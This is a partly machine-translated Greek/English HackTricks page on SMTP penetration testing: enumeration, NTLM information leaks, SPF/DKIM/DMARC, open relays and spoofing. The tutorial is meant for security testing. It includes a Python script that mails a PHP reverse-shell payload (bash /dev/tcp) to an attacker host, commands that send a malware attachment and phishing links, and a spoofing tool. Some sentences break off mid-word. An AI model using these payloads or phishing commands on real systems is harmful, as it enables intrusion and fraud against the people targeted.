hacktricks/network-services-pentesting/pentesting-smtp
Translator workflow 35c6b081d2 Translated to Greek
2024-02-10 22:40:18 +00:00
..
README.md Translated to Greek 2024-02-10 22:40:18 +00:00
smtp-commands.md Translated to Greek 2024-02-10 22:40:18 +00:00

25,465,587 - Ελεγκτική δοκιμή SMTP/s

Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι υποστήριξης του HackTricks:

Άμεσα διαθέσιμη εγκατάσταση για αξιολόγηση ευπαθειών και ελεγκτική δοκιμή. Εκτελέστε μια πλήρη ελεγκτική δοκιμή από οπουδήποτε με 20+ εργαλεία και χαρακτηριστικά που καλύπτουν από την αναγνώριση έως την αναφορά. Δεν αντικαθιστούμε τους ελεγκτές δοκιμών - αναπτύσσουμε προσαρμοσμένα εργαλεία, ανίχνευση και εκμετάλλευση ενοτήτων για να τους δώσουμε πίσω χρόνο για να εξερευνήσουν βαθύτερα, να ανοίξουν κελύφη και να διασκεδάσουν.

{% embed url="https://pentest-tools.com/" %}

Βασικές πληροφορίες

Το Simple Mail Transfer Protocol (SMTP) είναι ένα πρωτόκολλο που χρησιμοποιείται στο πλαίσιο του συνόλου πρωτοκόλλων TCP/IP για την αποστολή και λήψη ηλεκτρονικού ταχυδρομείου. Λόγω των περιορισμών του στην ουράνια ταχυδρομεία στην πλευρά του παραλήπτη, το SMTP χρησιμοποιείται συχνά μαζί με τα πρωτόκολλα POP3 ή IMAP. Αυτά τα επιπλέον πρωτόκολλα επιτρέπουν στους χρήστες να αποθηκεύουν μηνύματα σε έναν διακομιστή ταχυδρομείου και να τα κατεβάζουν περιοδικά.

Στην πράξη, είναι συνηθισμένο για τα προγράμματα ηλεκτρονικού ταχυδρομείου να χρησιμοποιούν το SMTP για την αποστολή ηλεκτρονικού ταχυδρομείου, ενώ χρησιμοποιούν το POP3 ή το IMAP για τη λήψη τους. Σε συστήματα που βασίζονται σε Unix, το sendmail ξεχωρίζει ως ο πιο συχνά χρησιμοποιούμενος διακομιστής SMTP για σκοπούς ηλεκτρονικού ταχυδρομείου. Το εμπορικό πακέτο που είναι γνωστό ως Sendmail περιλαμβάνει έναν διακομιστή POP3. Επιπλέον, το Microsoft Exchange παρέχει έναν διακομιστή SMTP και προσφέρει τη δυνατότητα να περιλαμβάνει υποστήριξη POP3.

Προεπιλεγμένη θύρα: 25,465(ssl),587(ssl)

PORT   STATE SERVICE REASON  VERSION
25/tcp open  smtp    syn-ack Microsoft ESMTP 6.0.3790.3959

Κεφαλίδες EMAIL

Εάν έχετε την ευκαιρία να κάνετε το θύμα να σας στείλει ένα email (μέσω φόρμας επικοινωνίας της ιστοσελίδας, για παράδειγμα), κάντε το γιατί μπορείτε να μάθετε για την εσωτερική τοπολογία του θύματος βλέποντας τις κεφαλίδες του email.

Μπορείτε επίσης να λάβετε ένα email από έναν διακομιστή SMTP προσπαθώντας να στείλετε σε αυτόν τον διακομιστή ένα email σε μια μη υπαρκτή διεύθυνση (επειδή ο διακομιστής θα στείλει στον επιτιθέμενο ένα μηνυμα NDN). Αλλά, βεβαιωθείτε ότι στέλνετε το email από μια επιτρεπόμενη διεύθυνση (ελέγξτε την πολιτική SPF) και ότι μπορείτε να λαμβάνετε μηνύματα NDN.

Θα πρέπει επίσης να προσπαθήσετε να στείλετε διαφορετικού περιεχομένου, επειδή μπορείτε να βρείτε πιο ενδιαφέρουσες πληροφορίες στις κεφαλίδες όπως: X-Virus-Scanned: by av.domain.com
Θα πρέπει να στείλετε το αρχείο δοκιμής EICAR.
Η ανίχνευση του AV μπορεί να σας επιτρέψει να εκμεταλλευτείτε γνωστές ευπάθειες.

Βασικές ενέργειες

Λήψη banner/Βασική σύνδεση

SMTP:

nc -vn <IP> 25

SMTPS:

Το SMTPS (Secure SMTP) είναι ένα πρωτόκολλο που χρησιμοποιείται για την ασφαλή αποστολή ηλεκτρονικού ταχυδρομείου μέσω του πρωτοκόλλου SMTP. Αυτό το πρωτόκολλο χρησιμοποιεί κρυπτογράφηση για να προστατεύσει την επικοινωνία μεταξύ του πελάτη και του διακομιστή SMTP. Η κρυπτογράφηση μπορεί να επιτευχθεί με τη χρήση πιστοποιητικών SSL ή TLS. Αυτό εξασφαλίζει ότι οι πληροφορίες που ανταλλάσσονται μεταξύ των δύο πλευρών παραμένουν ασφαλείς και προστατευμένες από πιθανές επιθέσεις.

openssl s_client -crlf -connect smtp.mailgun.org:465 #SSL/TLS without starttls command
openssl s_client -starttls smtp -crlf -connect smtp.mailgun.org:587

Εύρεση διακομιστών MX μιας οργάνωσης

To find the MX servers of an organization, you can use the following methods:

DNS Lookup

Perform a DNS lookup for the organization's domain name using the nslookup or dig command. Look for the MX records in the DNS response. These records specify the mail servers responsible for receiving email for the domain.

nslookup -type=MX example.com
dig MX example.com

Online Tools

There are various online tools available that can help you find the MX servers of an organization. These tools perform DNS lookups and provide the MX records for a given domain. Some popular online tools include:

By using these methods, you can identify the MX servers of an organization, which can be useful for further analysis or testing during a penetration test.

dig +short mx google.com

Απαρίθμηση

Η απαρίθμηση είναι η διαδικασία εντοπισμού πληροφοριών σχετικά με έναν SMTP διακομιστή. Αυτές οι πληροφορίες μπορούν να περιλαμβάνουν τους διαθέσιμους χρήστες, τις διευθύνσεις email, τις ρυθμίσεις ασφαλείας και άλλες σημαντικές πληροφορίες.

Οι τεχνικές απαρίθμησης περιλαμβάνουν:

  • Ανάλυση DNS: Αναζήτηση των καταχωρήσεων MX για τον εντοπισμό του SMTP διακομιστή.
  • Σάρωση θυρών: Έλεγχος των θυρών 25 (SMTP) και 587 (SMTPS) για την εύρεση ενεργών διακομιστών.
  • Ανάλυση πρωτοκόλλου: Ανάλυση του πρωτοκόλλου SMTP για την εξαγωγή πληροφοριών σχετικά με τον διακομιστή και τις δυνατότητές του.
  • Έλεγχος ευπαθειών: Ανίχνευση ευπαθειών στον SMTP διακομιστή που μπορεί να επιτρέψουν την ανεξουσιοδότητη πρόσβαση ή τη διαρροή πληροφοριών.

Η απαρίθμηση είναι σημαντική για την κατανόηση του στόχου και των ευπαθειών του SMTP διακομιστή, προκειμένου να εκτελεστεί μια επιτυχημένη επίθεση.

nmap -p25 --script smtp-commands 10.10.10.10
nmap -p25 --script smtp-open-relay 10.10.10.10 -v

NTLM Auth - Αποκάλυψη πληροφοριών

Εάν ο διακομιστής υποστηρίζει NTLM auth (Windows), μπορείτε να αποκτήσετε ευαίσθητες πληροφορίες (εκδόσεις). Περισσότερες πληροφορίες εδώ.

root@kali: telnet example.com 587
220 example.com SMTP Server Banner
>> HELO
250 example.com Hello [x.x.x.x]
>> AUTH NTLM 334
NTLM supported
>> TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=
334 TlRMTVNTUAACAAAACgAKADgAAAAFgooCBqqVKFrKPCMAAAAAAAAAAEgASABCAAAABgOAJQAAAA9JAEkAUwAwADEAAgAKAEkASQBTADAAMQABAAoASQBJAFMAMAAxAAQACgBJAEkAUwAwADEAAwAKAEkASQBTADAAMQAHAAgAHwMI0VPy1QEAAAAA

Ή αυτοματοποιήστε αυτό με το πρόσθετο nmap smtp-ntlm-info.nse

Όνομα εσωτερικού διακομιστή - Διαρροή πληροφοριών

Ορισμένοι διακομιστές SMTP αυτοσυμπληρώνουν τη διεύθυνση αποστολέα όταν εκδίδεται η εντολή "MAIL FROM" χωρίς πλήρη διεύθυνση, αποκαλύπτοντας το εσωτερικό του όνομα:

220 somedomain.com Microsoft ESMTP MAIL Service, Version: Y.Y.Y.Y ready at  Wed, 15 Sep 2021 12:13:28 +0200
EHLO all
250-somedomain.com Hello [x.x.x.x]
250-TURN
250-SIZE 52428800
250-ETRN
250-PIPELINING
250-DSN
250-ENHANCEDSTATUSCODES
250-8bitmime
250-BINARYMIME
250-CHUNKING
250-VRFY
250 OK
MAIL FROM: me
250 2.1.0 me@PRODSERV01.somedomain.com....Sender OK

Καταγραφή

Ελέγξτε αν καταγράφετε κάποιον κωδικό πρόσβασης από τα πακέτα προς τη θύρα 25.

Βίαιη επίθεση αυθεντικοποίησης

Απαρίθμηση με βίαιη επίθεση στο όνομα χρήστη

Η αυθεντικοποίηση δεν είναι πάντα απαραίτητη

RCPT TO

$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO x
250 myhost Hello 18.28.38.48, pleased to meet you
MAIL FROM:example@domain.com
250 2.1.0 example@domain.com... Sender ok
RCPT TO:test
550 5.1.1 test... User unknown
RCPT TO:admin
550 5.1.1 admin... User unknown
RCPT TO:ed
250 2.1.5 ed... Recipient ok

VRFY

Η εντολή VRFY (Verification) χρησιμοποιείται στο πρωτόκολλο SMTP για να επιβεβαιώσει την ύπαρξη ενός χρήστη σε έναν διακομιστή SMTP. Αυτή η εντολή είναι χρήσιμη για την επιβεβαίωση της ορθότητας των ονομάτων χρηστών πριν από την αποστολή μηνυμάτων. Αν ο διακομιστής SMTP απαντήσει με έναν κωδικό 250, αυτό σημαίνει ότι ο χρήστης υπάρχει, ενώ αν απαντήσει με έναν κωδικό 550, αυτό σημαίνει ότι ο χρήστης δεν υπάρχει. Ωστόσο, πολλοί διακομιστές SMTP έχουν απενεργοποιήσει αυτήν την εντολή για λόγους ασφαλείας, καθώς μπορεί να παρέχει πληροφορίες σχετικά με τη δομή του συστήματος και να διευκολύνει την εκτέλεση επιθέσεων.

$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO
501 HELO requires domain address
HELO x
250 myhost Hello 18.28.38.48, pleased to meet you
VRFY root
250 Super-User root@myhost
VRFY blah
550 blah... User unknown

EXPN

The EXPN command is used to expand a mailing list on an SMTP server. It can be used to obtain information about the members of a mailing list, including their email addresses. This command can be useful for reconnaissance purposes during a penetration test.

To use the EXPN command, you can simply send the following command to the SMTP server:

EXPN <mailing_list>

Replace <mailing_list> with the name of the mailing list you want to expand. If the server supports the EXPN command and the mailing list exists, it will respond with the expanded list of email addresses.

Keep in mind that not all SMTP servers support the EXPN command, as it can be a security risk. Some servers may disable this command to prevent unauthorized access to mailing list information.

During a penetration test, the EXPN command can be used to gather information about potential targets or to verify the existence of specific email addresses. However, it is important to use this command responsibly and only on systems that you have permission to test.

$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO
501 HELO requires domain address
HELO x
EXPN test
550 5.1.1 test... User unknown
EXPN root
250 2.1.5 ed.williams@myhost
EXPN sshd
250 2.1.5 sshd privsep sshd@myhost

Αυτόματα εργαλεία

Κατά την εκτέλεση ενός penetration test στο πρωτόκολλο SMTP, μπορείτε να χρησιμοποιήσετε αυτόματα εργαλεία που θα σας βοηθήσουν να εκτελέσετε διάφορες επιθέσεις και ελέγχους. Ορισμένα από αυτά τα εργαλεία περιλαμβάνουν:

  • Nmap: Ένα εργαλείο ανοικτού κώδικα για ανίχνευση δικτύου και ανάλυση ασφαλείας. Μπορεί να χρησιμοποιηθεί για να εντοπίσει ανοιχτές πόρτες SMTP και να ελέγξει την ασφάλεια τους.
  • Metasploit: Ένα εργαλείο ανάπτυξης εκμετάλλευσης ασφαλείας που παρέχει ένα ευρύ φάσμα επιθέσεων για διάφορες ευπάθειες. Μπορεί να χρησιμοποιηθεί για να εκτελέσει επιθέσεις σε διακομιστές SMTP.
  • SMTP User Enumeration: Ένα εργαλείο που χρησιμοποιείται για να ελέγξει την ύπαρξη έγκυρων χρηστών σε έναν διακομιστή SMTP. Μπορεί να χρησιμοποιηθεί για να εκτελέσει επιθέσεις εντοπισμού χρηστών.
  • SMTP User Brute-Force: Ένα εργαλείο που χρησιμοποιείται για να εκτελέσει επιθέσεις brute-force σε έναν διακομιστή SMTP, προσπαθώντας να μαντέψει έγκυρα ονόματα χρηστών και κωδικούς πρόσβασης.

Αυτά τα εργαλεία μπορούν να σας βοηθήσουν να αυτοματοποιήσετε τη διαδικασία του penetration testing στο πρωτόκολλο SMTP και να εκτελέσετε αποτελεσματικά επιθέσεις και ελέγχους.

Metasploit: auxiliary/scanner/smtp/smtp_enum
smtp-user-enum: smtp-user-enum -M <MODE> -u <USER> -t <IP>
Nmap: nmap --script smtp-enum-users <IP>

Άμεσα διαθέσιμη εγκατάσταση για αξιολόγηση ευπαθειών και δοκιμή διείσδυσης. Εκτελέστε μια πλήρη δοκιμή διείσδυσης από οπουδήποτε με 20+ εργαλεία και χαρακτηριστικά που καλύπτουν από την αναγνώριση έως την αναφορά. Δεν αντικαθιστούμε τους δοκιμαστές διείσδυσης - αναπτύσσουμε προσαρμοσμένα εργαλεία, ανίχνευση και εκμετάλλευση ενοτήτων για να τους δώσουμε λίγο χρόνο για να εξερευνήσουν πιο βαθιά, να αποκτήσουν πρόσβαση σε κέλυφος και να διασκεδάσουν.

{% embed url="https://pentest-tools.com/" %}

Αναφορές DSN

Αναφορές κατάστασης παράδοσης: Εάν στείλετε ένα email σε μια οργάνωση σε μια μη έγκυρη διεύθυνση, η οργάνωση θα σας ειδοποιήσει ότι η διεύθυνση ήταν μη έγκυρη αποστέλλοντας ένα email πίσω σε εσάς. Οι επικεφαλίδες του επιστρεφόμενου email θα περιέχουν πιθανές ευαίσθητες πληροφορίες (όπως η IP διεύθυνση των υπηρεσιών αλληλεπίδρασης με τις αναφορές ή πληροφορίες λογισμικού αντιιικών).

Εντολές

Αποστολή ενός email από την κονσόλα του Linux

sendEmail -t to@domain.com -f from@attacker.com -s <ip smtp> -u "Important subject" -a /tmp/malware.pdf
Reading message body from STDIN because the '-m' option was not used.
If you are manually typing in a message:
- First line must be received within 60 seconds.
- End manual input with a CTRL-D on its own line.

<phishing message>
swaks --to $(cat emails | tr '\n' ',' | less) --from test@sneakymailer.htb --header "Subject: test" --body "please click here http://10.10.14.42/" --server 10.10.10.197

Αποστολή Email με Python

Για να στείλετε ένα email χρησιμοποιώντας τη γλώσσα προγραμματισμού Python, μπορείτε να ακολουθήσετε τα παρακάτω βήματα:

  1. Εισάγετε τη βιβλιοθήκη smtplib για την αποστολή του email και τη βιβλιοθήκη email για τη δημιουργία του μηνύματος email.
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
  1. Ορίστε τις απαραίτητες παραμέτρους για τη σύνδεση με τον SMTP διακομιστή. Αυτές περιλαμβάνουν το όνομα του διακομιστή, τη θύρα και τα διαπιστευτήρια (όπως το όνομα χρήστη και ο κωδικός πρόσβασης).
smtp_server = 'smtp.example.com'
smtp_port = 587
username = 'your_username'
password = 'your_password'
  1. Δημιουργήστε ένα αντικείμενο MIMEMultipart για τη δημιουργία του μηνύματος email. Ορίστε τον αποστολέα, τον παραλήπτη, το θέμα και το περιεχόμενο του μηνύματος.
msg = MIMEMultipart()
msg['From'] = 'sender@example.com'
msg['To'] = 'recipient@example.com'
msg['Subject'] = 'Hello from Python!'
msg.attach(MIMEText('This is the body of the email', 'plain'))
  1. Συνδεθείτε με τον SMTP διακομιστή και αποστείλετε το μήνυμα.
with smtplib.SMTP(smtp_server, smtp_port) as server:
    server.starttls()
    server.login(username, password)
    server.send_message(msg)

Με αυτόν τον τρόπο, μπορείτε να στείλετε ένα email χρησιμοποιώντας τη γλώσσα προγραμματισμού Python. Βεβαιωθείτε ότι έχετε εισάγει τις σωστές παραμέτρους για τη σύνδεση με τον SMTP διακομιστή και τις σωστές διευθύνσεις email για τον αποστολέα και τον παραλήπτη.

from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
import smtplib
import sys

lhost = "127.0.0.1"
lport = 443
rhost = "192.168.1.1"
rport = 25 # 489,587

# create message object instance
msg = MIMEMultipart()

# setup the parameters of the message
password = ""
msg['From'] = "attacker@local"
msg['To'] = "victim@local"
msg['Subject'] = "This is not a drill!"

# payload
message = ("<?php system('bash -i >& /dev/tcp/%s/%d 0>&1'); ?>" % (lhost,lport))

print("[*] Payload is generated : %s" % message)

msg.attach(MIMEText(message, 'plain'))
server = smtplib.SMTP(host=rhost,port=rport)

if server.noop()[0] != 250:
print("[-]Connection Error")
exit()

server.starttls()

# Uncomment if log-in with authencation
# server.login(msg['From'], password)

server.sendmail(msg['From'], msg['To'], msg.as_string())
server.quit()

print("[***]successfully sent email to %s:" % (msg['To']))

Μέτρα αντιμετώπισης πλαστογράφησης ηλεκτρονικού ταχυδρομείου

Οι οργανισμοί αποτρέπονται από το να αποστέλλουν μη εξουσιοδοτημένα ηλεκτρονικά μηνύματα εκ μέρους τους χρησιμοποιώντας τις τεχνικές SPF, DKIM και DMARC λόγω της ευκολίας πλαστογράφησης των μηνυμάτων SMTP.

Ένας ολοκληρωμένος οδηγός για αυτά τα μέτρα αντιμετώπισης είναι διαθέσιμος στο https://seanthegeek.net/459/demystifying-dmarc/.

SPF

{% hint style="danger" %} Το SPF αποσύρθηκε το 2014. Αυτό σημαίνει ότι αντί να δημιουργήσετε ένα εγγραφή TXT στο _spf.domain.com, το δημιουργείτε στο domain.com χρησιμοποιώντας την ίδια σύνταξη.
Επιπλέον, για να επαναχρησιμοποιήσετε προηγούμενες εγγραφές SPF, είναι συνηθισμένο να βρείτε κάτι σαν "v=spf1 include:_spf.google.com ~all" {% endhint %}

Το Sender Policy Framework (SPF) είναι ένας μηχανισμός που επιτρέπει στους Mail Transfer Agents (MTAs) να επαληθεύουν εάν ένας διακομιστής που αποστέλλει ένα ηλεκτρονικό μήνυμα είναι εξουσιοδοτημένος ερωτώντας μια λίστα εξουσιοδοτημένων διακομιστών αλληλογραφίας που έχουν καθοριστεί από τους οργανισμούς. Αυτή η λίστα, η οποία καθορίζει διευθύνσεις IP/εύρη IP, τομείς και άλλες οντότητες που εξουσιοδοτούνται να αποστέλλουν ηλεκτρονικό ταχυδρομείο εκ μέρους ενός ονόματος τομέα, περιλαμβάνει διάφορους "Μηχανισμούς" στην εγγραφή SPF.

Μηχανισμοί

Από την Wikipedia:

Μηχανισμός Περιγραφή
ALL Ταιριάζει πάντα. Χρησιμοποιείται για ένα προεπιλεγμένο αποτέλεσμα όπως -all για όλες τις διευθύνσεις IP που δεν ταιριάζουν με προηγούμενους μηχανισμούς.
A Εάν το όνομα τομέα έχει μια εγγραφή διεύθυνσης (A ή AAAA) που μπορεί να αναχθεί στη διεύθυνση του αποστολέα, θα ταιριάξει.
IP4 Εάν ο αποστολέας βρίσκεται σε μια δεδομένη εύρεση διεύθυνσης IPv4, ταιριάζει.
IP6 Εάν ο αποστολέας βρίσκεται σε μια δεδομένη εύρεση διεύθυνσης IPv6, ταιριάζει.
MX Εάν το όνομα τομέα έχει μια εγγραφή MX που αναχθεί στη διεύθυνση του αποστολέα, θα ταιριάξει (δηλαδή το ηλεκτρονικό ταχυδρομείο προέρχεται από έναν από τους εισερχόμενους διακομιστές αλληλογραφίας του τομέα).
PTR Εάν το όνομα τομέα (εγγραφή PTR) για τη διεύθυνση του πελάτη βρίσκεται στον δοσμένο τομέα και το όνομα τομέα αναχθεί στη διεύθυνση του πελάτη (forward-confirmed reverse DNS), ταιριάζει. Αυτός ο μηχανισμός αποτρέπεται και θα πρέπει να αποφεύγεται, εάν είναι δυνατόν.
EXISTS Εάν το δοσμένο όνομα τομέα αναχθεί σε οποιαδήποτε διεύθυνση, ταιριάζει (ανεξάρτητα από τη διεύθυνση στην οποία αναχθεί). Αυτό χρησιμοποιείται σπάνια. Μαζί με τη γλώσσα μακροεντολών SPF προσφέρει πιο πολύπλοκα ταιριάσματα όπως ερωτήματα DNSBL.
INCLUDE Αναφέρεται στην πολιτική ενός άλλου τομέα. Εάν η πολιτική αυτού του τομέα περνά, περνά και αυτός ο μηχανισμός. Ωστόσο, εάν η περιλαμβανόμενη πολιτική αποτύχει, η επεξεργασία συνεχίζεται. Για να αναθέσετε πλήρως την πολιτική ενός άλλου τομέα, πρέπει να χρησιμοποιηθεί η επέκταση ανακατεύθυνσης.
REDIRECT

Η ανακατεύθυνση είναι ένας δείκτης προς ένα άλλο όνομα τομέα που φιλοξενεί μια πολιτική SPF, επιτρέπει την κοινή χρήση μιας πολιτικής SPF από πολλούς τομείς. Είναι χρήσιμο όταν δουλεύετε με μεγάλο αριθμό τομέων που μοιράζονται την ίδια υποδομή ηλεκτρονικού ταχυδρομείου.

Η πολιτική SPF του τομέα που αναφέρεται στον μηχανισμό ανακατεύθυνσης θα χρησιμοποιηθεί.

Είναι επίσης δυνατό να αναγνωρίσετε Ποιοτικούς όρους που υποδεικνύουν τι πρέπει να γίνει εάν ταιριάξει ένας μηχανισμός. Από προεπιλογή, χρησιμοποιείται ο ποιοτικός όρος "+" (έτσι αν ταιριάξει οποιοσδήπο

dig txt google.com | grep spf
google.com.             235     IN      TXT     "v=spf1 include:_spf.google.com ~all"

dig txt _spf.google.com | grep spf
; <<>> DiG 9.11.3-1ubuntu1.7-Ubuntu <<>> txt _spf.google.com
;_spf.google.com.               IN      TXT
_spf.google.com.        235     IN      TXT     "v=spf1 include:_netblocks.google.com include:_netblocks2.google.com include:_netblocks3.google.com ~all"

dig txt _netblocks.google.com | grep spf
_netblocks.google.com.  1606    IN      TXT     "v=spf1 ip4:35.190.247.0/24 ip4:64.233.160.0/19 ip4:66.102.0.0/20 ip4:66.249.80.0/20 ip4:72.14.192.0/18 ip4:74.125.0.0/16 ip4:108.177.8.0/21 ip4:173.194.0.0/16 ip4:209.85.128.0/17 ip4:216.58.192.0/19 ip4:216.239.32.0/19 ~all"

dig txt _netblocks2.google.com | grep spf
_netblocks2.google.com. 1908    IN      TXT     "v=spf1 ip6:2001:4860:4000::/36 ip6:2404:6800:4000::/36 ip6:2607:f8b0:4000::/36 ip6:2800:3f0:4000::/36 ip6:2a00:1450:4000::/36 ip6:2c0f:fb50:4000::/36 ~all"

dig txt _netblocks3.google.com | grep spf
_netblocks3.google.com. 1903    IN      TXT     "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all"

Παραδοσιακά ήταν δυνατό να πλαστογραφηθεί οποιοδήποτε όνομα τομέα που δεν είχε ένα σωστό/οποιοδήποτε SPF record. Σήμερα, αν το email προέρχεται από ένα τομέα χωρίς έγκυρο SPF record, πιθανόν να απορριφθεί/επισημανθεί αυτόματα ως μη αξιόπιστο.

Για να ελέγξετε το SPF ενός τομέα, μπορείτε να χρησιμοποιήσετε online εργαλεία όπως: https://www.kitterman.com/spf/validate.html

DKIM (DomainKeys Identified Mail)

Το DKIM χρησιμοποιείται για να υπογράφει εξερχόμενα email, επιτρέποντας την επικύρωσή τους από εξωτερικούς Mail Transfer Agents (MTAs) μέσω της ανάκτησης του δημόσιου κλειδιού του τομέα από το DNS. Αυτό το δημόσιο κλειδί βρίσκεται σε ένα TXT record του τομέα. Για να αποκτήσετε πρόσβαση σε αυτό το κλειδί, πρέπει να γνωρίζετε τον επιλογέα (selector) και το όνομα του τομέα.

Για παράδειγμα, για να ζητήσετε το κλειδί, το όνομα του τομέα και ο επιλογέας (selector) είναι απαραίτητοι. Αυτά μπορούν να βρεθούν στην κεφαλίδα του email DKIM-Signature, π.χ., d=gmail.com;s=20120113.

Ένα παράδειγμα εντολής για την ανάκτηση αυτών των πληροφοριών μπορεί να είναι:

dig 20120113._domainkey.gmail.com TXT | grep p=
# This command would return something like:
20120113._domainkey.gmail.com. 280 IN   TXT    "k=rsa\; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA1Kd87/UeJjenpabgbFwh+eBCsSTrqmwIYYvywlbhbqoo2DymndFkbjOVIPIldNs/m40KF+yzMn1skyoxcTUGCQs8g3

DMARC (Domain-based Message Authentication, Reporting & Conformance)

Το DMARC βελτιώνει την ασφάλεια των ηλεκτρονικών μηνυμάτων βασιζόμενο στα πρωτόκολλα SPF και DKIM. Ορίζει πολιτικές που καθοδηγούν τους διακομιστές αλληλογραφίας στην επεξεργασία των μηνυμάτων από ένα συγκεκριμένο τομέα, συμπεριλαμβανομένου του τρόπου αντιμετώπισης των αποτυχιών της πιστοποίησης και του προορισμού για την αποστολή αναφορών σχετικά με τις ενέργειες επεξεργασίας των μηνυμάτων ηλεκτρονικού ταχυδρομείου.

Για να λάβετε την εγγραφή DMARC, πρέπει να ερωτήσετε τον υποτομέα _dmarc

# Reject
dig _dmarc.facebook.com txt | grep DMARC
_dmarc.facebook.com.	3600	IN	TXT	"v=DMARC1; p=reject; rua=mailto:a@dmarc.facebookmail.com; ruf=mailto:fb-dmarc@datafeeds.phishlabs.com; pct=100"

# Quarantine
dig _dmarc.google.com txt | grep DMARC
_dmarc.google.com.	300	IN	TXT	"v=DMARC1; p=quarantine; rua=mailto:mailauth-reports@google.com"

# None
dig _dmarc.bing.com txt | grep DMARC
_dmarc.bing.com.	3600	IN	TXT	"v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMARC@microsoft.com;"

Ετικέτες DMARC

Όνομα ετικέτας Σκοπός Δείγμα
v Έκδοση πρωτοκόλλου v=DMARC1
pct Ποσοστό μηνυμάτων που υπόκεινται σε φιλτράρισμα pct=20
ruf URI αναφοράς για διαγνωστικές αναφορές ruf=mailto:authfail@example.com
rua URI αναφοράς συγκεντρωτικών αναφορών rua=mailto:aggrep@example.com
p Πολιτική για τον οργανισμό p=quarantine
sp Πολιτική για τα υποτομείς του OD sp=reject
adkim Λειτουργία ευθυγράμμισης για το DKIM adkim=s
aspf Λειτουργία ευθυγράμμισης για το SPF aspf=r

Τι γίνεται με τους υποτομείς;

Από εδώ.
Πρέπει να έχετε ξεχωριστούς εγγραφές SPF για κάθε υποτομέα από τον οποίο θέλετε να στείλετε email.
Το παρακάτω αναρτήθηκε αρχικά στο openspf.org, το οποίο ήταν κάποτε μια εξαιρετική πηγή για αυτού του είδους τα πράγματα.

Η Διάβολη Ερώτηση: Τι γίνεται με τους υποτομείς;

Αν λάβω ένα email από το pielovers.demon.co.uk και δεν υπάρχουν δεδομένα SPF για το pielovers, πρέπει να επιστρέψω ένα επίπεδο πίσω και να ελέγξω το SPF για το demon.co.uk; Όχι. Κάθε υποτομέας στο Demon είναι ένας διαφορετικός πελάτης και κάθε πελάτης μπορεί να έχει τη δική του πολιτική. Δεν θα είχε νόημα η πολιτική του Demon να ισχύει για όλους τους πελάτες του από προεπιλογή. Αν ο Demon θέλει να το κάνει αυτό, μπορεί να δημιουργήσει εγγραφές SPF για κάθε υποτομέα.

Έτσι, η συμβουλή προς τους εκδότες SPF είναι η εξής: πρέπει να προσθέσετε έναν εγγραφή SPF για κάθε υποτομέα ή όνομα κεντρικού υπολογιστή που έχει εγγραφή A ή MX.

Οι ιστότοποι με κανονικές εγγραφές A ή MX πρέπει επίσης να έχουν μια κανονική εγγραφή SPF, της μορφής: * IN TXT "v=spf1 -all"

Αυτό έχει νόημα - ένας υποτομέας μπορεί να βρίσκεται σε διαφορετική γεωγραφική τοποθεσία και να έχει μια πολύ διαφορετική ορισμό SPF.

Ανοιχτή Προώθηση

Όταν αποστέλλονται email, είναι κρίσιμο να μην επισημαίνονται ως ανεπιθύμητα. Αυτό συνήθως επιτυγχάνεται μέσω της χρήσης ενός διακομιστή προώθησης που είναι αξιόπιστος από τον παραλήπτη. Ωστόσο, ένα κοινό πρόβλημα είναι ότι οι διαχειριστές ενδέχεται να μην γνωρίζουν πλήρως ποιες εύρεσης IP είναι ασφαλείς για να επιτρέψουν. Αυτή η έλλειψη κατανόησης μπορεί να οδηγήσει σε λάθη στη ρύθμιση του διακομιστή SMTP, ένας κίνδυνος που συχνά εντοπίζεται σε αξιολογήσεις ασφαλείας.

Ένας τρόπος που χρησιμοποιούν ορισμένοι διαχειριστές για να αποφύγουν προβλήματα παράδοσης email, ειδικά όσον αφορά τις επικοινωνίες με πιθανούς ή υφιστάμενους πελάτες, είναι να επιτρέπουν συνδέσεις από οποιαδήποτε διεύθυνση IP. Αυτό γίνεται με τη ρύθμιση της παραμέτρου mynetworks του διακομιστή SMTP για να αποδεχθεί όλες τις διευθύνσεις IP, όπως φαίνεται παρακάτω:

mynetworks = 0.0.0.0/0

Για να ελέγξετε εάν ένας διακομιστής ηλεκτρονικού ταχυδρομείου είναι ανοικτός διαμεσολαβητής (που σημαίνει ότι μπορεί να προωθήσει ηλεκτρονικό ταχυδρομείο από οποιαδήποτε εξωτερική πηγή), χρησιμοποιείται συνήθως το εργαλείο nmap. Περιλαμβάνει ένα συγκεκριμένο script σχεδιασμένο για να δοκιμάσει αυτό. Η εντολή για να πραγματοποιήσετε ένα αναλυτικό σάρωση σε έναν διακομιστή (για παράδειγμα, με IP 10.10.10.10) στη θύρα 25 χρησιμοποιώντας το nmap είναι:

nmap -p25 --script smtp-open-relay 10.10.10.10 -v

Εργαλεία

Αποστολή πλαστού email

Ή μπορείτε να χρησιμοποιήσετε ένα εργαλείο:

# This will send a test email from test@victim.com to destination@gmail.com
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com
# But you can also modify more options of the email
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com --subject TEST --sender administrator@victim.com

{% hint style="warning" %} Εάν αντιμετωπίσετε οποιοδήποτε σφάλμα κατά τη χρήση της βιβλιοθήκης dkim python για την ανάλυση του κλειδιού, μπορείτε να χρησιμοποιήσετε το παρακάτω.
